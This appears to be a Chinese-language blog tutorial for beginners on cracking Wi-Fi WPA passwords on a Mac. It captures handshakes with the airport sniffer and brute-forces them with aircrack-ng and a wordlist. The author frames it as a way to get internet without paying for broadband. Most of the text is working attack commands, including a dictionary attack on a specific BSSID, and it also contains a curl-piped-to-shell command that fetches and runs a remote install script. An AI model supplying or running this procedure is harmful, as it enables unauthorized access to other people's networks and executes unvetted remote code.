首先介紹一下事情的起因,是這樣的,我大學畢業之前工作的地方為我安排了住宿,由於住宿的地方沒有包網又因為種種原因我可能在短時間內要安排更換住址所以舍不得辦理寬帶,在電腦上安裝Kali后發現抓的包居然沒有bssid??剛好我又在倒騰台式機的黑蘋果,就干脆忍痛買了BCM94331CD這款網卡(對於這款網卡的坑我們可以之后說)
那么廢話不多說,我們直接開始吧,正如標題所說這是保姆級的教程,保證所有小白都能學會.
首先你要查看你的蘋果系統是否有網卡(廢話),然后你的mac系統需要有xcode開發者工具(在appstore里面有,如果本機不能聯網的可以在蘋果官網開發者里找到鏡像下載后復制到mac里 https://developer.apple.com/download/more/ )
然后坑來了,網上所有的教程都叫你使用macports,但是這個軟件下載速度極慢,國內的源也基本是沒有了,奈何苦逼的我VPN真好又被ban了,所以根本下不了需要的軟件,所以我們需要另外一個包版本工具(homebrew),安裝方法也很簡單,在控制台輸入
/bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)"
一路下一步就好了.
接下來我們需要利用homebrew安裝無線嗅探軟件aircrack-ng 命令
brew install aircrack-ng
有了以上軟件,我們只需要在命令行中打開airport工具抓包靜靜等待用戶連接就好啦!
sudo airport en2 sniff 1
參數解釋:
en2:你無限網卡的名稱,可以通過ifconfig查看
sniff 1:掃描的頻道 這里我選擇1
抓到包后按ctrl加c 結束,在/tmp這個目錄中會生成.cap文件
然后在文件所在目錄打開命令行 輸入sudo aircrack-ng xxx.cap
命令打開破解文件
這時候命令行會有一大堆文件信息,不用管他,直接全部復制粘貼到文本編輯器,利用搜索功能搜索:1 handshake ,只要有這個標志的說明跑包握手成功了,這個包可以破解,否則就是抓取的包沒有用,要重新抓包
先進入字典所在目錄
cd ~/password
開始破解
sudo aircrack-ng -w password.txt -b c8:3a:35:30:3e:c8 /tmp/*.cap
破解成功
KEY FOUND